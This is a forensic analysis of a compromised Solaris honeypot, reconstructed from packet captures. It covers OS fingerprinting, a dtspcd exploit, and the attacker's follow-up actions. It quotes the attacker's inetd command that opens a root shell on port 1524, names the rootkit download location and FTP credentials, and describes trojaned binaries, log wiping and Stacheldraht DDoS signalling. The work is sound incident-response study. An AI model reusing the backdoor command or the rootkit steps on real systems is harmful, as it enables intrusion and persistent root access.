The MD5 hash check  of the two archives is done by the following commands :

$ md5sum -c day1.log.gz.md5	
$ md5sum -c day3.log.gz.md5

The two files seem to be a tcpdump binary capture of a network traffic. To read it we can choose one of the following programs : tcpdump, tethereal, and ethereal. Firstly, we begin by choosing Ethereal (a free network protocol analyzer for Unix and Window) due to his conviviality, we disable the two options "Enable MAC name resolution", and "ENABLE netwok name resolution" to minimize the time processing.

Analysis

The total number of packets for the first log file is : 18843. A first look at the content reveals many traffic usage :
    UDP                                             20.95 %          
          DNS                                       20.91 %
          NetBIOS Name Service          0.03 %   
          Syslog message                        0.02 %

    ICMP                                           11.26 %                     

    TCP                                             67.79 %
          Data                                       21.89 %
          FTP                                          0.38 %          
          FTP Data                                 5.08 %
          HTTP                                      6.86 %
          DG Gryphon Protocol            2.24 %
          Internet Relay Chat                0.10 %

From this summary, we should take attention to some kinds of traffic (highlighted)which generally encapsulate informations related to attacks.

The total number of packets for the second log file is : 123123. Protocols listed for the first log file still exist for day3.log with additional protocol (ICMP v6).

Honeypot OS fingerprinting

To determine the honeypot OS, we have first used p0f, which is a passive OS fingerprinting tool.  We have applied this tool on the first binary file "day1.log", using the following command :

$ ./p0f -s ../day1.log | grep 192.168.100.28

After processing "day1.log" file, the tool has reported that the honeypot OS is Sun Solaris (see p0f.result).

This result (passive OS fingerprinting) is approved by the following additional signs collected from the binary log file :

• The honeypot host responds for some wrong requests by sending signature informing on the operating system (packet 598) :
  

....
0040  38 da 53 75 6e 4f 53 20 7a 6f 62 65 72 69 75 73   8.SunOS zoberius
0050  20 35 2e 38 20 47 65 6e 65 72 69 63 5f 31 30 38    5.8 Generic_108
0060  35 32 38 2d 30 39 20 73 75 6e 34 75 20 73 70 61   528-09 sun4u sp a
0070  72 63 20 53 55 4e 57 2c 55 6c 74 72 61 2d 35 5f   rc SUNW,Ultra-5_
0080  31 30 0a 2f 63 6f 72 65 3a 20 4e 6f 20 73 75 63   10./core: No suc
0090  68 20 66 69 6c 65 20 6f 72 20 64 69 72 65 63 74   h file or direct
00a0  6f 72 79 0a 2f 76 61 72 2f 64 74 2f 74 6d 70 2f   ory./var/dt/tmp/
00b0  44 54 53 50 43 44 2e 6c 6f 67 3a 20 4e 6f 20 73   DTSPCD.log: No s
00c0  75 63 68 20 66 69 6c 65 20 6f 72 20 64 69 72 65   uch file or dire
00d0  63 74 6f 72 79 0a 42 44 20 50 49 44 28 73 29 3a   ctory.BD PID(s):
00e0  20 31 37 37 33 0a                                  1773

• Some syslog messages sent from 192.168.100.28 to 192.168.100.158 (packet 5429 for example) :

0000  00 07 ec b2 d0 0a 08 00  20 d1 76 19 08 00 45 00   ..ì²Ð...  Ñv...E.
0010  00 77 b9 a3 40 00 ff 11  61 25 c0 a8 64 1c c0 a8   .w¹£@.ÿ. a%Àšd.Àš
0020  64 9e 8d ec 02 02 00 63  01 7e 3c 32 37 3e 4e 6f   d..ì...c .~<27>No
0030  76 20 32 39 20 30 39 3a  35 36 3a 31 39 20 69 6e   v 29 09: 56:19 in
0040  65 74 64 5b 31 37 37 33  5d 3a 20 5b 49 44 20 38   etd[1773 ]: [ID 8
0050  30 31 35 38 37 20 64 61  65 6d 6f 6e 2e 65 72 72   01587 da emon.err
0060  6f 72 5d 20 2f 74 6d 70  2f 78 3a 20 4e 6f 20 73   or] /tmp /x: No s
0070  75 63 68 20 66 69 6c 65  20 6f 72 20 64 69 72 65   uch file  or dire
0080  63 74 6f 72 79                                     ctory  

• Download patchs related to sun OS from sunSolve FTP server  (packet n° : 5476  retrv 111085-02.zip)

Gaining access method

To find what techniques the attacker was used to break into the system, we need to know what attempted exploitable vulnerabilities we can pick out from the day1.log. So, we concentrate on vulnerabilities which allow a remotely monitoring. Doing that, we run snort on the given log file day1.log, and we analysed the output file with snort_stat.pl utility for the purpose of readibility.

$ snort -A full -c /etc/snort/snort.conf -r day1.log
$ cat /var/log/snort/alert | ./snort_stat.pl -f -h -tn > report-day1.html

Where alert is the logging file configured in snort.conf

From the list of the generated alerts (Distribution of attack methods), the "EXPLOIT CDE dtspcd exploit attempt" seems to be the successful means that allowed the attacker to break into the system.

The CDE Subprocess Control Service (dtspcd) is a network daemon that accepts requests from clients to execute commands and launch applications remotely.
dtspcd is typically configured to run on port 6112/tcp with root privileges. So, we filter the day1.log throw the following filter to concentrate in details of these attack.

$ tethereal -nr day1.log "tcp.port == 6112"

The passed command is :

/bin/ksh    -c  echo "ingreslock stream tcp nowait root /bin/sh sh -i">/tmp/x;/usr/sbin/inetd -s /tmp/x;sleep 10;/bin/rm -f /tmp/x

where it ordered the honeypot to :
   #/bin/ksh    -c  echo "ingreslock stream tcp nowait root /bin/sh sh -i" > /tmp/x;
       Save the "ingreslock stream tcp nowait root /bin/sh sh -i" to /tmp/x
   #/usr/sbin/inetd -s /tmp/x;   :  Execute /tmp/x to start the service ingreslock which is running on the port 1524
   #/bin/rm -f /tmp/x  : Remove the loaded program

From this moment, the attacker has obtained a shell with root privileges on the port 1524 of the honeypot.

Systems involved in this attack

To determine which system were involved to elaborate this attack, the investigation need to handle the session corresponding to the exploit activity. The traffic which was generated from this session reveals the systems that were used.

For this purpose, we have used a program tcpflow  which allows us to reconstruct data streams of the logged file (day1.log). It stores each flow in a separate file. After the installation of tcpflow, we runned the following command :

$ tcpflow -r day1.log

 Focusing on the session opened by the attacker (61.219.90.180), we found the obtained file 061.219.090.180.56712-192.168.100.028.01524. It reports automatically the generated traffic over this session which indicates the following ip addresses was used for this attack. Searching the respective response of these  servers (running the separately the filters "ip.addr == 62.211.66.16" and "ip.addr == 62.211.66.53" with ethereal) when the honeypots was connecting, the OS can be deduced from the reported banner :

* 62.211.66.16  --> ftp server : Version XOOM FTP 1.24.3
       from which the attacker downloaded :

1. wget
2. dlp
3. solbnc
4. ipv6sun

$ tethereal -nr day1.log "tcp.port == 7000" | ./sumsrcdst > attacker.7000

$ tethereal -nr day1.log "tcp.port == 6667" | ./sumsrcdst > attacker.irc

Major Steps for conducting attack

The attacker has followed some major steps during his attack (from packets captured in the day1.log file). These steps are highlighted in the following diagram :

Scenario of the attack :

From the amount of packets captured in the day1.log file, we have extracted the following actions taken by the attacker :

1. Attacker runs an exploit from host which has the ip : 61.219.90.180. This exploit is for the CDE Subprocess Control Service Buffer Overflow. Running this exploit with success will return a shell on the port 1524.
2. After, running dtspcd with success, Attacker connects to the shell available on port 1524. Next, he has issued many commands :
1.    Download of some utilities from an FTP server  (62.211.66.16) using a special account (username : bobzz, password : joka).These tools are downloaded into the following directory : /usr/share/man/man1/.old. Tools downloaded are : wget, dlp, solbnc, ipv6sun.
   
2. Get the rootkit "sol.tar.gz" from http://62.211.66.53:80/bobzz/sol.tar.gz
3. Untarring and installation of the rootkits for some tools :
   
1. SSH on port 5001 (with the password : mixer)
2. PsyBNC on port 7000 (without password)
4. Backups of some commands : su, ping, du, passwd, find, ls, netstat, strings, ps.
5. Installation of trojans : login, sshd, netstat, ls, find, strings, du, passwd, ping, su.
6. Patching some servers  :   dtscd, lpd,  fingerd, cmsd, hdbserverd, sadmind.
7. Download of the following patchs :
   
• ftp://sunsolve.sun.com:21/pub/patches/111085-02.zip
• ftp://sunsolve.sun.com:21/pub/patches/108949-07.zip
The first patch is not installed but for the second, the attacker has installed :

• SUNWdtbas
• SUNWftpu

8. Copy of some tools/files : pass gen, fixer, wipe, utime, crt, idstart, ssh-dxe, syn, README.
9. Erasing rootkit.
10. Starting of psybnc on port 7000.
11. Starting of solbnc.
12. Run dlp which has these functionalities :
1. Cleaning logs.
2. Modify inetd configuration.
3. Attacker from the host which has the ip address : 80.117.14.44  communicates with the honeypot host using gryphon protocol.  This connection is used to administrate the psybnc by adding irc.stealth.net server which has the ip : 206.252.192.195 (port 5555).
4. Attacker connects to the irc server (206.252.192.195:5555) via the honeypot host.
   

Special ICMP Packets

When analyzing packets captured, there are many strange ICMP packets which contain the string "skillz". Checking alerts generated by snort (see alerts summary) for the "day1.log" file, we have found the following alert :

                                                    DDOS Stacheldraht agent->handler (skillz)

So, this kind of ICMP packets is the sign of an attack that is performed by a tool named Stacheldraht[1]. This tool performs a distributed denial of service attack (see decription of Stacheldraht).

The major steps related to this attack and which correspond to what captured in the honeypot host are described here :

• When each agent starts up, it attempts to read a master server configuration file to learn which handler(s) may control it. This file is a list of IP addresses, encrypted using Blowfish, with a passphrase of "randomsucks". 
• Once the agent has determined a list of potential handlers, it then starts at the beginning of the list of handlers and sends an ICMP ECHO_REPLY packet with an ID field containing the value 666 and data field containing the string "skillz". If the master gets this packet, it sends back an ECHO_REPLY packet with an ID field containing the value 667 and data field containing the string "ficken".

ICMP echo reply containing the string "skillz" is used to manage communications between handler and client. The ICMP packets act as a "heartbeat" between agent and master server, and to determine source IP spoofing capabilities of the master server.

From all icmp packets captured, we can enumerate hosts involved in this attack and their role :
 

+--------+ +--------+ | client | | client | +--------+ +--------+ | | . . . --+------+---------------+------+---------------------------+-- . . . | | | | | | +-----------+ +-----------+ +-----------+ | handler | | handler | 61.134.3.11 | handler | 217.116.38.10 +-----------+ +-----------+ +-----------+ | | | | | | . . . ---+------+-----+------------+---+--------+-------------------------+-+-- . . . | | | | | | | | | | +-------+ +-------+ +-------+ +-------+ +-------+ | agent | | agent | | agent | | agent | | agent | 192.168.100.28 +-------+ +-------+ +-------+ +-------+ +-------+

Using IPv6 Protocol

Attacking hosts use IPv6 for several purposes. This activity aims to detect :

     *  Neighbor Discovery  : to determine the link-layer address change for neighbors and their respective evolutive parameters' state,
     *  Peer unreachability : quickly purge cached values that become invalid,
     *  Multicast Listener Discovery :
     *  ICMPv6 :   It covers ICMP v4 features (Administration, ...),
                            Transports ND (Neighbor Detection) messages,
                            Transports MLD messages.
     *  Alternative route : Determines alternative routes to reach the IRC peer that use IRCv6

The communicating IRCv6  that we use IPv6 protocol to :
      * Discover their mutuel presence,
      * Determine link-layer adresses of their neighbors,
      * Find routers,
      * Maintain neighbors' reachability information

The choice of the attacker to use IPv6 protocols rather than usual used IPv4 is that the IPv6 gives more facilities icluding :
      * ARP protocol,
      * Router Discovery,
      * Specifing five types of ICMP packets :
                  - Router Advertissement : Periodic advertissement which contains
                                                       -> list of prefixes used on the link (autoconf)
                                                       -> a possible value of Max Hop limit
                                                       -> value of MTU
                  - Router solicitation :  An immidiate RA.
                  - Neighbor Solicitation : To determine the link-layer address of the neighbor
                                                            -> to check its unreachability
                  - Neighbor Advertissement : -> to answer to NS packet
                                                                 -> to advertise the change of physical address
                 - Redirect : Used to inform a host of a better route to the given peer destination.

Tools

tcpdump
ethereal
tetehereal
file
snort
snort_stat
cat
p0f
tcpflow